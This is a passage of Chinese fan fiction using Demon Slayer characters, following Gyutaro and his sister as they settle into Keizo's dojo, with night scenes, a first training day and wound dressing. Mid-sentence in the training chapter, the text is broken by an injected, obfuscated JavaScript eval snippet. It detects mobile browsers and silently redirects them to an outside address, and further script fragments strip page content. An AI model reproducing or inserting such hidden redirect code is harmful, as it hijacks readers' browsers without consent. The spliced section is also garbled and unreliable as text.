他脑海里突然想起了庆藏的话,“你也有那种劲头。” 劲头…活下去的劲头。为了妹妹,他确实什么都能做。但仅仅是这样,就值得被这样对待吗?妓夫太郎想不明白。 门外传来轻微的脚步声,然后是拉门被轻轻拉开的声音。 妓夫太郎立刻坐起身,“谁?” “是我。”狛治的声音,很低,“师父让我来看看,你需不需要再加床被子。” “…不用了,很暖和。谢谢…” “嗯。”狛治应了一声,却没立刻离开。他在门口站了一会儿,忽然说,“其实我第一次在这里睡单独的房间时,也睡不着。” 妓夫太郎愣住了。 “太安静了,反而不习惯。”狛治继续说,“习惯了街头的声音,习惯了随时警惕…突然安静下来,会觉得不对劲。所以当时有一段时间,我怎么也睡不着。” 他说得平淡,但妓夫太郎听懂了。那种长期以来养成的警惕,不是一朝一夕能放下的。 “是吗…”妓夫太郎低声说道。 “嗯,睡吧。”狛治说,“这里很安全。好好休息,伤好得也快。” 拉门又被轻轻拉上了。 狛治的脚步声渐渐远去。 妓夫太郎重新躺下,这一次,他尝试放下警惕,慢慢地闭上了眼睛。 “很安全”,这三个字像一句咒语,让他一直紧绷的神经终于松弛下来。温暖从被褥里渗透出来,包裹住他冰冷的身体。伤口还在隐隐作痛,但已经是可以忍受的程度了。 他想起了妹妹睡在隔壁房间,有恋雪照顾着;想起了庆藏师父明天要教他练武;想起了狛治说“这里很安全”。 这些思绪像温暖的水流,慢慢包裹了他。疲倦终于涌上来,沉甸甸地压在妓夫太郎的眼皮上。 在完全陷入睡眠之前,他最后一个模糊的念头是: 也许…他和小梅真的可以留在这里。 也许…他们终于可以真的可以有一个家了。 恋雪和小梅的房间 小梅躺在恋雪身边,盖着同一床被子。被褥柔软,有恋雪身上淡淡的草药香气,和一种说不清的、让人安心的味道。 “恋雪姐姐。”小梅在黑暗中小声说。 “嗯?怎么啦,小梅。睡不着吗?”恋雪的声音温柔响起。 “哥哥…会一直在这里吗?” 恋雪侧过身,在微弱的光线中看着小女孩的轮廓。“那小梅希望哥哥一直在这里吗?” “嗯。”小梅用力点头,头发在枕头上发出窸窣的声音, “这里很暖和,有好吃的。哥哥也不会总是被人打骂,不会总是受伤…还有恋雪姐姐,还有狛治哥哥,还有庆藏师父…” 她一个一个数着,声音越来越小,最后变成了喃喃自语,“大家都很好…我喜欢大家,喜欢和哥哥还有大家在一起…” 恋雪伸出手,轻轻拍着她的背。“那哥哥就会一直在这里的。小梅也会一直留在这里。我们也都很喜欢小梅和太郎呀。而且父亲既然说了让你们留下,就不会让你们走的。” “真的吗?恋雪姐姐。” “真的。”恋雪微笑着说,“父亲虽然有时候看起来很随意,但说过的话一定会做到。就像他当初带狛治先生回来一样。” 小梅安静了一会儿,又问,“狛治哥哥…以前也和哥哥一样吗?” “嗯,有些地方很像。”恋雪回想起来,声音里带着一丝怀念, “狛治先生来的时候也是满身伤,不过后来父亲和我说那是他打的,当时听到了着实把我吓了一跳呢。一开始的狛治先生也是不怎么说话,眼神凶凶的。” 小梅想象不出那个画面。 她认识的狛治哥哥虽然不太爱笑,但会默默做好多事,会检查门窗,会买新鲜的菜,还会和庆藏师父一起帮哥哥换药。 “但是啊,”恋雪继续说,“他会按着父亲的吩咐,把我照顾得很好,空闲时间会跟着父亲认真练功,还会把道场打扫得一尘不染…是一个非常温柔可靠的人呢” 小梅听着,慢慢闭上眼睛。她好像有点明白了——就像哥哥,虽然现在还有些拘谨,但已经在慢慢改变了。 今天哥哥抱着药包回来的时候,她可以看得出来,哥哥的眼神和以前不一样了,没有那么重的防备了。 “睡吧,小梅。”恋雪轻声说,“明天醒来,会有阳光会晒进房间,暖洋洋的。我还会给小梅编新的发髻,把小梅打扮得漂漂亮亮的,安心睡吧…” “嗯…”小梅含糊地应了一声,终于沉入梦乡。 恋雪却没有立刻睡着。她听着小女孩均匀的呼吸声,心里涌起一种久违的柔软。 自从母亲去世后,这个家已经很久没有孩子的声音了。父亲虽然疼爱她,但毕竟是个大男人,很多细腻的话说不出口。 狛治来了之后,家里多了人气,但他沉默,又太克制。尽管自己也想和他多说一些,可是碍于自己的心意,很多时候也不敢开口。 而现在,有了小梅和太郎。 小梅她还小,又有着常人不能匹及的容貌。她需要人照顾,需要人教导,也需要人疼爱——而这些,恋雪都能给。 恋雪第一次感觉到,自己这病弱的身体,除了被照顾之外,也能照顾别人。 至于太郎…那个孩子背负了太多。但今天看着他抱着药包站在门口的样子,看着他在饭桌上默默观察每个人的样子,恋雪知道,他心里那层坚冰也正在慢慢融化。 这个家,正在变得越来越完整。 她轻轻叹了口气,是满足的叹息。她想,明天或许该给小梅量一量脚,做一双新袜子。还有太郎,他的衣服都是狛治的旧衣,虽然干净,但不太合身…也可以帮太郎修改一下,穿着不合身的衣服总归是不太舒服的。 想着这些琐碎的事,恋雪也慢慢睡着了。嘴角还带着浅浅的笑意。 庆藏的房间 庆藏还没躺下。他坐在窗边的小桌前,就着一盏油灯,慢慢翻看着一本旧账本。 道场的收支勉强平衡,多了两个孩子,开支自然要增加。但他也没有太过担心——狛治现在能接一些护卫的活计,他自己也还能教几个学生。虽然道场现在没多少弟子,慢慢来总是会有的,实在不行他也可以和狛治一样出去做护卫的活计。 虽然日子紧巴一点,但总能过下去。 他合上账本,揉了揉眉心。 今天带太郎去医馆,那孩子身上的伤比他想象的还要严重。新伤叠旧伤,有些地方已经化脓,老大夫清理的时候,连他这个经常和伤病打交道的人都觉得心惊。 但那孩子一声没吭。 庆藏想起狛治刚来的时候,也是满身伤,也是咬着牙不喊痛。 这两个孩子,都太能忍了。能忍是好事,但忍过了头,就容易把苦都憋在心里,最后憋出问题来。 得慢慢开导他们。庆藏想。狛治花了大半年才真正敞开心扉,太郎…恐怕需要更多的时间啊。 不过不急,日子还长。 他起身走到窗边,轻轻推开一条缝。冬夜的冷空气钻进来,让他清醒了些。院子里,月光把积雪照得发亮,那棵老树的枝桠在风中轻轻晃动。 庆藏看着这间道场,心里涌起复杂的情绪。这地方原本不属于他——多年前,他在山路上救了一位被山贼袭击的老人。为了报答,老人便把没有继承人的土地还有这个多年不用的道场给了自己。 他百般推辞,却耐不住老人坚持。老人离去前和他说了一句话,“武术的极致,是守护。而你很好地践行了这一点,这是我自愿赠予你的。年轻人,不必忧虑。这地方还有道场给了你,才是真正的物尽其用。” 他一直在践行这句话。保护女儿,保护弟子,现在,还要保护新来的两个孩子。 也许这就是缘分吧。在那个雪夜,他出门去买给家里两个孩子补身体的鸡,回来的路上正好撞见蜷缩在破旧草席里的兄妹。如果再晚一点,或者自己当时走了另一条路,他和这两个孩子可能就错过了。 但偏偏没有错过。 庆藏关上窗,回到被褥边躺下。榻榻米发出轻微的吱呀声。 明天开始教太郎基本功吧。那孩子瘦瘦小小的,但看骨架应该还能再长。素流的招式不一定适合他,得根据他的特点调整…也许可以发展成一种更灵活、更擅长近身缠斗的变体。 想着想着,庆藏也睡着了。鼾声均匀而沉稳,像这个家的基石。 狛治的房间 狛治平躺在被褥里,双手放在身体两侧,他闭着眼睛,但没睡着。 脑海里反复回放着今天的一幕幕:太郎清理伤口时绷紧的肌肉,小梅试穿新衣服时转圈的样子,收拾房间时两人抬箱子的默契,还有刚才他去查看时,太郎立刻坐起的警觉反应。 太像了。 像得让他心惊。 那种刻在骨子里的警惕,那种对善意的不敢相信,那种“我必须保护某人”的执念…全都和他当初一模一样。 狛治想起自己刚来道场的第一个月。他睡在现在的房间,每晚都睁着眼睛到半夜。他不敢真的睡熟,怕这突然的善意是陷阱,怕醒来又回到街头,怕这温暖只是一场梦境。 直到某天夜里,庆藏口渴起来,路过发现他 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在沉入梦境的前一刻,他忽然想起下午小梅试穿衣服时,转头问他的那句话,“狛治哥哥,好看吗?” 他当时只是点了点头。 现在想来,应该多说一句的。 “好看。”他在心里默默补上。 妓夫太郎的房间 妓夫太郎醒来过一次。 不是被噩梦惊醒,也不是被疼痛唤醒,而是…太安静了。 在游郭,夜晚从来不会真正安静。有醉汉的吵闹声,有游女的歌声,有老板娘尖利的咒骂,还有老鼠在天花板里跑动的声音。那些声音构成了他睡眠的背景,虽然嘈杂,但熟悉。 而这里,太静了。 静得能听到自己的心跳,能听到血液在耳朵里流动的声音,能听到窗外极远处传来的、不知是什么的细微声响。 他睁开眼睛,在黑暗中茫然地躺了一会儿。 然后他听到了——不是寂静,而是另一种声音。 风吹过屋檐的呜呜声。老树枝桠轻轻摩擦的沙沙声。隔壁房间隐约的、平稳的呼吸声。 还有…他自己的呼吸声。放松的,深长的,不需要刻意控制的。 妓夫太郎慢慢坐起身,借着窗外透进来的月光,打量这个房间。空荡荡的,只有被褥和他自己。墙壁是干净的,地板是干净的,窗户是新糊的。 这是他的房间。 他和妹妹的房间。 这个认知再次击中了他,比刚才更真实,更具体。 他掀开被子,光着脚走到窗边,轻轻推开一条缝。冷空气涌进来,让他打了个寒颤,但也更清醒了。 院子里,月华如水,把一切都照得朦朦胧胧。那棵老树静静立着,枝桠上还残留着些许白霜。 很美。 这个词突兀地出现在他脑海里。他愣了一下——在游郭,他从不会用“美”来形容任何东西。活着已经用尽全力,哪有心思看风景? 但此刻,看着月光下的雪和树,他确实觉得…很美。 身后传来轻微的响动。妓夫太郎立刻转身,手已经下意识地摸向腰间——那里空荡荡的,没有他藏惯了的镰刀。 是梦呓。是小梅的声音,从主屋那边隐约传来,听不清在说什么,但语调是平和的,甚至带着一点撒娇的意味。 她在恋雪身边,睡得很好。 妓夫太郎松了口气,重新关好窗,回到被褥里。被窝还暖着,有他身体的温度。 他躺下,再次闭上眼睛,脑海里闪过今天发生的一幕幕,最后浮现的,是今天下午狛治补窗纸的样子。那个人做事总是很认真,补窗纸时,连边角的褶皱都要抚平。还有庆藏师父擦榻榻米时,哼着不知名的小调。还有恋雪给小梅梳头时,嘴角温柔的笑意。 这些画面一帧帧闪过,像一场无声的电影。 然后他安稳地睡着了。 这一次他没有梦见游郭的黑暗巷子,没有梦见追打他们的人,没有梦见妹妹高烧时的苍白脸庞。 他梦见了一片梅林。雪刚刚停,梅花开了,粉红的花瓣上还沾着晶莹的雪花。小梅在树下转圈,淡紫色的衣摆扬起,发髻上的银簪闪闪发光。恋雪站在一旁微笑,庆藏和狛治在远处练功,拳风带起落在地上的花瓣。 阳光很好,暖暖地照在身上。 他在梦里想:原来冬天也可以这么暖和… 渐渐地,道场里的所有呼吸声都平稳下来,融入冬夜的寂静。月亮慢慢移动,从东厢房的窗户,移到主屋的屋檐,最后静静沉入天际。 在第一缕晨光出现之前,这个世界属于睡眠,属于梦境,属于那些在温暖被褥里暂时忘却苦难的人们。 而明天,太阳会照常升起。 会照进东厢房新糊的窗户,会晒暖晒过的被褥,会叫醒这个家里每一个还在梦乡的人。 然后,新的一天就开始了。 8. 素流初始 天还没亮透,初升的太阳刚刚跃过屋檐。 道场的院子里,积雪已经化得差不多了,只是地上还留着湿漉漉的雪水。狛治换上了白色的练功服,正独自做着热身——压腿,转腰,活动手腕脚踝。呼吸在冷空气中凝成白雾,有节奏地一点点散开。 妓夫太郎房间的拉门“哗啦”一声被拉开。 妓夫太郎从屋内走出来,身上套着件明显大了一号的旧练功服——还是狛治以前的,昨天没来及改。袖子长出一截,他胡乱卷了几道,裤腿也稍稍拖着地。 仔细看的话,还可以发现他的头发睡得翘起几缕,脸上也带着刚醒的迷茫。走路时他不太习惯地扯了扯袖口,虽说是旧衣,但布料柔软干净,比之前好过太多。 “醒了?”狛治没回头,继续拉伸着肩背。 “嗯。”妓夫太郎站到他旁边,学着他的样子活动手腕。动作有些生涩,但眼神认真。 “先热身,不然容易拉伤。”狛治简短地指导,在妓夫太郎走到身边时看了他一眼, “还有,既然裤脚长了就要好好卷起来啊。笨蛋,不怕在还湿着的地上摔倒吗?等下午的时候去找恋雪改一改衣服。” 说着,狛治就停下了拉伸的动作,低下身子想给他卷好裤腿。 但是妓夫太郎身体猛地一僵,他几乎是本能地就要往后退。因为在游郭,只要是蹲下来靠近他的人,下一步往往不是踢就是打。 “腿别收。”狛治的声音比他动作更快,一只手已经按在了他膝盖侧面,力道不重,却足够让他动弹不得,“只是帮你卷下裤脚。” 狛治没再过多解释什么,只是低头开始把裤脚一点点卷起。卷好的裤腿服帖地卡在小腿肚下方,既不会掉,也不会妨碍动作。 “好了,这下不会拖地了。等下你就跟着我做,先热身,一会儿师父会过来。” “好。谢谢狛治哥。” 两人在院子里开始热身。妓夫太郎模仿着狛治的每一个动作——弯腰时手掌要碰到地面,转腰时视线要跟着走,活动脚踝时要顺时针逆时针各十圈。狛治做得流畅自然,他做得磕磕绊绊,但没停。 他们两个热身的时候,恋雪和小梅在的房间的窗户被悄悄推开一条缝。 小梅扒在窗边往外看,头发还乱蓬蓬地散着,但是眼睛亮晶晶的。恋雪从她身后探出头,温柔地笑了笑,把她往回拉,“小梅,外面冷,先进来梳头。” “我想看哥哥练功。”小梅小声说,但还是乖乖坐回被褥上。 恋雪跪坐在她身后,拿起梳子,“一会儿梳好头,穿暖和了再去看,好不好?你看,狛治哥哥和你哥哥都穿着单衣呢,他们练功会发热,我们不练功,出去会冻着的。” 小梅想了想,点点头,坐直了身子。 梳子在发间轻柔地穿梭。恋雪的手很巧,三下两下就把打结的地方梳开,然后分成三股,开始编辫子。 “今天编个好看一点的。”恋雪轻声说,“编好了,小梅就是院子里最漂亮的小姑娘。” 小梅从铜镜里看着自己的倒影,嘴角微微翘起来。她喜欢恋雪姐姐给她梳头,喜欢那些漂亮的发髻,也喜欢发簪在阳光下闪闪的样子。 院子里,热身结束了。 “今天从最基础的开始。”狛治站到院子中央,双腿分开,缓缓下蹲,“马步。素流的一切都从这个开始。” 妓夫太郎学着他的样子□□,下蹲。 “腰挺直。”狛治走到他身边,用手背轻轻碰了碰他的后背,“这里不能弯。膝盖不要超过脚尖。” 妓夫太郎调整姿势。这个动作看起来简单,但真正做标准了,大腿很快就开始发抖。他咬着牙稳住,呼吸变得有些粗重。 “呼吸要深,要稳。”狛治示范着吸气、呼气,“用肚子呼吸,不是用胸口。像这样——” 他深深吸了一口气,然后缓缓吐出。妓夫太郎跟着学,一开始节奏不对,憋得脸有些红。 “不急,慢慢来。”狛治说,“先保持姿势,呼吸自然些。” 晨光渐渐亮起来,给两人的白色练功服也描上了一道道金边。妓夫太郎的马步从一开始的摇摇晃晃,慢慢变得稳定。汗水从额角渗出,顺着脸颊滑下来,滴在地上。一时之间,不知道是汗水融进了积水里,还是积水中怀抱了努力的汗水。 狛治没喊停,只是在一旁做着其他基础练习——正拳、踢腿、移动步法。他的每个动作都干净利落,破风声短促有力。 这次主屋的门开了。 是庆藏师父。他披着外衣,手里端着杯热茶,靠在门框上看。看了会儿,他走过来,绕着妓夫太郎转了一圈。 “膝盖再往下沉一点。”庆藏用脚轻轻点了点妓夫太郎的脚后跟,“重心放在两脚之间,不要往前倾。” 妓夫太郎照做,大腿的酸痛感立刻加剧。他闷哼一声,没动。 “疼?”庆藏问。 “…有点。” “疼就对了。”庆藏笑了,“不疼怎么长力气。不过太郎…”他蹲下身,捏了捏妓夫太郎的小腿肌肉,“这里太紧了。狛治,你来教教他放松的方法。” 狛治走过来,示范如何在小幅晃动中保持马步的稳定,“不是死死地非要钉在地上,一动不动。而是要像树一样,根扎在地下,但树干可以随风去动。” 妓夫太郎试着放松紧绷的肌肉,果然轻松了一些。他感激地看了狛治一眼。 “继续。”庆藏站起身,喝了口茶,“再坚持一炷香时间。” 一炷香。 妓夫太郎不知道一炷香是多久,但他看到狛治已经点了一根线香插在院角的香炉里。细烟袅袅升起,在晨光里几乎看不见。 时间变得很慢。 大腿的酸痛仿佛要从表面渗进骨头里,膝盖开始发烫,脚踝也胀痛起来。汗水流进眼睛,刺得生疼,他眨了眨眼,没抬手擦。 脑子里什么也没想,没有想能不能坚持下去,没有想这有多辛苦,甚至没有想为什么要学这些。 妓夫太郎只是盯着前方那棵老树粗糙的树皮,盯着树皮上一条裂缝的走向,盯着裂缝里残留的一点雪。 呼吸。 吸气,呼气。 腹部起伏,带动全身微微晃动。 像树。 像一棵在冬天里扎根,等着春天来的树。 线香燃到一半时,小梅和恋雪房间的门完全打开了。 小梅穿戴整齐地跑出来,淡粉色的衣服外面套了件小棉褂,当然也是恋雪改的,袖口和衣襟处都被缝上了白色的毛毛。 小梅的头发被恋雪梳成了可爱的双髻,各别了一个粉色蝴蝶结,跑动时和衣摆一起飞扬,仿佛真的蝴蝶振翅。 “哥哥!”她跑到院子边上,不敢靠太近打扰,就蹲在那儿看。 妓夫太郎没转头,依旧专注着动作。或许他也想回复小梅些什么,但是此刻不容他分神,只能简单地回应一个“嗯”字。 “哥哥好厉害!”小梅眼睛亮亮的,“像狛治哥哥一样厉害!” 这话让妓夫太郎心里一热,大腿的酸痛好像都轻了些。 恋雪也出来了,手里拿着针线篮。她坐在廊下,从篮子里取出未完工的衣物——是给妓夫太郎做的另一套练功服,毕竟身上的这一套来不及改,但是起码可以让太郎下午穿上合身的练功服。 针尖穿过白色布料,拉出细密的线。她的动作不快,但又稳又准,衣服上几乎看不见针脚。 狛治穿过廊下去拿水,在经过恋雪身边时,用只有两个人才能听见的声音说了一句 “晨露重,再加件衣服,别着凉。” 恋雪穿针的手微微一颤,针尖差点扎偏。她抬起头,只看到狛治挺拔的背影。她的脸颊悄悄染上一点粉色,不是冻的,是别的什么原因。她低下头,假装继续缝纫,却悄悄把滑到手臂的外衣往上拉了拉,裹得更紧了些。 庆藏把这一切看在眼里,笑着摇摇头,又喝了口茶。 线香终于燃尽。 “可以了。”狛治说。 妓夫太郎直起身,双腿一阵发软,差点跪下去。他踉跄一步稳住,大腿肌肉突突地跳着,又酸又麻,还带着一种发热感。 “走走,别立刻停。”庆藏说,“慢慢走几圈,让血流流通。” 妓夫太郎扶着腰,在院子里慢慢踱步。每一步都像踩在棉花上,又像有无数小针在扎。小梅亦步亦趋地跟在他身边,仰着小脸问,“哥哥,累不累?” “…累,”妓夫太郎诚实地说,然后补充,“但还好。哥哥很开心。” 是真的还好。比起在游郭挨饿受冻,比起被人追打着跑过整条街,比起发着高烧还要找食物…这种有明确目的的、能看见进步的累,反而让他觉得异常踏实。 “休息一刻钟。”庆藏说,“然后练呼吸的节奏。狛治,你带他。” “是。” 休息时,狛治递给妓夫太郎一碗温水。他自己则走到井边,用冷水泼了把脸。再回来时,他手里多了一个小小的、用布包着的暖手炉。 他把它轻轻放在离恋雪不远不近的廊柱边,什么都没说,就静静地转身回到院里。 恋雪看着那个暖手炉,咬着嘴唇,眼里有细碎的光在闪。她小心地伸手拿过来,温暖的触感瞬间驱走了指尖的寒意。她把暖手炉悄悄拢在衣袖下,感觉那股暖意似乎顺着衣袖一直流到了心里。 一刻钟后,呼吸训练开始了。 这次是坐在廊下。狛治盘腿坐下,背挺直,双手自然放在膝盖上。 “闭上眼睛。”他说,“感受呼吸。吸气时,想象气息从鼻子进入,一直沉到腹部。呼气时,想象体内的浊气全部排出。” 妓夫太郎学着他的样子坐好,闭上眼睛。 一开始很难。因为闭上眼睛后,其他感官就变得敏锐——他可以听见小梅在远处小声和恋雪说话,可以听见庆藏翻书的声音,也可以听见风吹过屋檐的声音。思绪乱飘,一会儿想到昨晚的梦,一会儿想到早上的马步有多酸。 “注意力集中在呼吸上。”狛治的声音平稳,“别的都不要想。” 妓夫太郎深吸一口气,努力把注意力拉回来。 吸气——气息冰凉,进入鼻腔,穿过喉咙,沉下去… 呼气——温热,带着身体的疲惫,缓缓排出… 渐渐地,那些杂音远去了。世界里只剩下呼吸的声音,一进一出,一吸一呼。 他第一次注意到,自己的呼吸原来可以这么深,这么长。以前在游郭,呼吸总是短促的,警惕的,随时准备逃跑或战斗的。而现在,却可以这样彻底地、安心地深呼吸。 时间静静地流逝。 不知过了多久,狛治说,“可以了。” 妓夫太郎睁开眼睛。世界好像清晰了一些,颜色更鲜明,声音也更清楚。身体很轻,虽然肌肉还在酸痛,但精神很清明。 “感觉怎么样?”不知何时来到他们身边的庆藏问。 “说不上来…就是很舒服。”妓夫太郎想了想,找到这个词。 “呼吸是素流的根本。”庆藏认真地说,“招式可以练,力气可以长,但呼吸控制不好,一切都是空谈。以后每天早晚都要练,哪怕不练招式,也要练呼吸。” “是。” 上午的训练告一段落。庆藏去准备上午的课程,虽然道场学生不多,但偶尔还是会有附近的小孩子想来学点防身术。狛治开始打扫道场,妓夫太郎想帮忙,被拦住了。 “你去看看小梅吧,”狛治说,“她刚才一直看你训练,不知道是不是有事。这里我来就好。” 妓夫太郎这才想起妹妹。转头看去,小梅正坐在恋雪身边,手里拿着什么东西。他走过去,发现是一块布头和一根针。 “小梅在和我学缝扣子。”恋雪笑着说,“很聪明呢,已经会穿针了。” 小梅抬起头,小脸上满是得意,“哥哥你看!”她捏着针,笨拙但认真地在布上戳着,试图把一颗备用的扣子缝上去。 妓夫太郎在她身边坐下,“小心点,别扎到手。” “才不会呢。”小梅哼了一声,继续跟那颗扣子较劲。她缝得歪歪扭扭,针脚也乱七八糟,但扣子确实被不知名的力量(?)固定住了。缝完最后一针,她举起布,“看!” “嗯,很好。”妓夫太郎摸摸她的头。 小梅满足了,把针线还给恋雪,凑到哥哥身边,“哥哥,练功好玩吗?” “不是好玩。”妓夫太郎想了想,“是…有用。” “有什么用?” “可以保护你。”他说得很自然,就像陈述一个理所当然的事实。 小梅愣了一下,然后笑起来,眼睛弯成月牙,“那哥哥要变得超级厉害!” “嗯。会的,一定会的。” 午饭前,恋雪把改好的练功服递给妓夫太郎,“试试看,哪里不合身我再改。太郎,等一会儿换下来的那一套别忘了给我哦,我把那一套也给你改一改。” 妓夫太郎接过。布料是素流标志性的白色,针脚细密而均匀。 “谢谢恋雪小姐。”他郑重地说。 “叫我恋雪就好,”恋雪温柔地说,“都是一家人,不用这么客气的。” 一家人。 妓夫太郎捏着衣服,指尖感受着布料的柔软。这个词几天前还那么陌生,现在听起来,却有了具体的温度。 午饭时,庆藏宣布了一件事。 “下午道场有课,三个附近的孩子要来学基础。”他对妓夫太郎说,“太郎要不要来旁观?看看素流教学生是什么样子。” 妓夫太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919622|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎点头,“要。” “那好。狛治,下午你先带几个孩子练基本功热热身,我看看太郎能领悟多少。” “是,师父。” 下午的阳光比上午强烈一些,照在人身上暖洋洋的。 三个孩子来了,都是十岁左右的男孩,穿着普通的衣服,见到庆藏恭敬地行礼。看到道场里多了个陌生面孔,都好奇地打量妓夫太郎。 “这是太郎,住在这里。”庆藏简单介绍,“今天他来旁观我们练习。” 孩子们点点头,注意力很快回到训练上。 狛治站在他们面前,表情比平时更严肃些,“今天复习上节课的内容。马步,每人半柱香。” 孩子们哀嚎一声,但还是乖乖摆好姿势。他们的马步比妓夫太郎早上做的还要歪歪扭扭,腰弯着,屁股撅着,膝盖内扣。狛治一个个纠正,手法干脆利落——拍后背,踢脚后跟,按肩膀。 “腰挺直!” “膝盖分开!” “头抬起来,看前面!” 严厉但不凶暴。孩子们龇牙咧嘴地调整姿势,但没人说抱怨。 妓夫太郎坐在角落看着。他注意到狛治的教学方式和庆藏不同:庆藏更注重讲解原理,会告诉你为什么这么做;狛治则更注重纠正动作,让你先做对,再理解。 两种方式,说不清哪种更好。但看着那些孩子从东倒西歪到勉强稳住,妓夫太郎忽然明白了什么。 素流不是高高在上的神秘武术,是这样一个动作一个动作教出来的,是一滴滴汗水堆出来的。庆藏师父愿意这样教他,狛治愿意这样带他,不是施舍,是认可。认可他有资格学,认可他能学会。 训练中途休息时,一个孩子凑到妓夫太郎身边,“你也是庆藏师父的弟子吗?” 妓夫太郎犹豫了一下,“…算是。” “你好厉害啊。”孩子羡慕地说,“早上我从外面看到你练马步,坚持了好久。我们最多只能坚持一会儿。” “多练就会久的。”妓夫太郎说。 “那你练了多久?” “今天第一次。” 孩子睁大眼睛,“第一次?骗人的吧!” “真的。” 孩子看了他一会儿,忽然说,“那你好有毅力。我第一次练的时候,半柱香就哭了。” 妓夫太郎不知道该怎么接话。毅力?他只是习惯了不放弃而已。在游郭,放弃就等于死,等于妹妹饿肚子。比起那些,马步的酸痛实在不算什么。 休息结束,训练继续。这次是基础拳法,狛治分解动作,慢速演示,孩子们跟着做。妓夫太郎也默默在心里记,手臂该怎么挥,腰该怎么转,脚该怎么踩。 他看得太专注,没注意到庆藏走到了身边。 “看出门道了吗?”庆藏低声问。 “有一点…”妓夫太郎老实说,“发力不是只用手臂,是从脚底传上来的。” 庆藏眼睛一亮,“不错。继续看。” 下午的课结束时,太阳已经偏西。孩子们行礼离开,道场又安静下来。狛治开始收拾用具,妓夫太郎起身帮忙。 “你觉得怎么样?”狛治忽然问。 “什么?” “教学生。” 妓夫太郎想了想,“不容易。要说清楚,还要纠正。” “嗯。”狛治把木刀放回架子上,“但看到他们进步,会有成就感。” 这话说得平淡,但妓夫太郎听出了里面的温度。他看向狛治,这个人平时话不多,表情也少,但教孩子的时候,眼神是认真的。纠正动作时,手会很稳,不会弄疼他们。演示时,会放慢速度,确保每个细节都被看到。 是个好老师。 也是个温柔的人——虽然他自己可能不这么认为。 晚饭后,庆藏把妓夫太郎叫到主屋。 “今天感觉如何?”他问。 “腿很酸。”妓夫太郎实话实说,“但呼吸训练…很舒服。” “那就好。”庆藏笑了笑,“训练不是一朝一夕的事,急不得。但有件事我要跟你说清楚。” 他正色道,“素流不是用来打架斗殴的武术。它的核心是守护——守护重要的人,守护该守的道义。我教你,是希望你能用这身本事保护小梅,保护这个家,保护未来你珍视的一切。而不是用来欺凌弱小,报复社会。明白吗?” 妓夫太郎认真点头,“明白。” “你身上有股狠劲。”庆藏看着他,“这很好,但需要引导。狛治当初也有,现在他学会了把那股劲用在正确的地方。你也可以。” “是。” “去吧。”庆藏拍拍他的肩,“今天辛苦了。早点休息,明天继续。” 妓夫太郎行礼退出。走到走廊时,听见房间里传来小梅的笑声。他走过去,拉开门,看见小梅正坐在被褥上,摆弄着恋雪给她的几块碎布。 “哥哥!”小梅举起手里的东西,是几块布缝在一起的,歪歪扭扭,勉强能看出是个人形,脸上是用炭笔画的五官。 “这是什么?” “是哥哥。”小梅认真地说,“穿着白衣服练功的哥哥。” 妓夫太郎接过那个丑丑的布偶,看了好一会儿。 “像吗?”小梅期待地问。 “……像。”他说,把布偶小心地放在自己的枕边,“谢谢小梅,哥哥很喜欢。” 小梅满足了,钻进被窝,“哥哥明天也要加油哦!” “嗯。” 夜深了。 妓夫太郎躺在被褥里,腿还在隐隐作痛。但他第一次觉得,这种疼痛是好的,是生长的证明。 他想起白天小梅蹲在院子边上看他的样子,想起恋雪在廊下缝衣服时温柔的侧脸,想起狛治教孩子们时认真的眼神,想起庆藏说“守护”时的郑重。 然后他想起很多年前,在游郭的某个寒冷夜晚,他抱着发烧的妹妹缩在角落里,以为自己和小梅的人生就这样了——短暂,痛苦,毫无希望。 但命运让他遇到了庆藏。 让他在那个雪夜,接过了那两个豆沙包。 让他和妹妹有了这个房间,有了干净的衣服,有了热乎的饭菜,有了可以学习武术的机会。 有了家。 妓夫太郎翻了个身,看着枕边那个丑丑的布偶。月光从窗纸透进来,给布偶的白色身体蒙上了一层淡淡的光晕。 他伸出手,轻轻碰了碰布偶的脸。 然后闭上眼睛,在肌肉的酸痛中,沉沉入睡。 这一夜,他梦见自己站在道场的院子里,穿着白色的练功服,马步扎得很稳。小梅在旁边笑着拍手,恋雪温柔地看着,狛治对他点点头,庆藏师父说,“不错。” 阳光很好,晒得全身暖洋洋的。 是个好梦。 9. 伤疤与练功带 日子像屋檐滴下的雪水,滴滴答答,安稳地往前流淌着。 晨练成了每天的必修课。妓夫太郎的马步从一开始的摇摇晃晃,到后来能稳稳扎上一炷香。腿上那股酸胀感从最初的折磨,渐渐变成了某种踏实的证明——证明他在长力气,在变结实。 这天午后,阳光斜斜地穿过道场的窗户,在榻榻米上铺开一片暖融融的方格。空气里有淡淡的药草味,混合着窗外积雪融化的湿润气息。 庆藏盘腿坐在被炉旁,面前摊开一块干净的棉布,上面摆着药罐、干净的布条和温水。他正仔细地用竹片挖出暗绿色的药膏,动作稳而轻。 “来,太郎。”庆藏抬头看向跪坐在对面的少年,“该换药了。” 妓夫太郎点点头,默默地解开腰带,褪下上半身的旧衣。 当少年瘦骨嶙峋的脊背完全展露在光线下时,房间里安静了一瞬。 狛治端着温水盆从厨房出来,看见那背脊时,脚步几不可察地顿了一下。他不是第一次看见这些伤了,但每次看,心里都会沉一下。 那其实根本不能算是一块完整的背——新结的痂叠着旧疤,深紫色的瘀痕盘踞在肩胛骨周围,大片大片冻疮溃烂后留下的暗红色印记交错。有几处伤口还在渗着积液,边缘泛着不健康的红肿。 庆藏挖药膏的手停在了半空。他深深吸了口气,又缓缓吐出,才继续动作。 “不管几次,”他声音低沉,带着压抑住的情绪,“看到你的伤,依旧令我吃惊。” 药膏触到皮肤时冰凉刺骨,妓夫太郎的背肌本能地绷紧了。 “真是命大啊,太郎。”庆藏用指腹将药膏一点点推开,动作尽量轻柔,“这么多伤,这么深…能撑到现在,真是…” 他找不到合适的词,最终只是又叹了口气,“真是辛苦你了。” 房间里只剩下药罐与竹片碰撞的轻响,还有窗外融雪滴落的“嗒嗒”声。 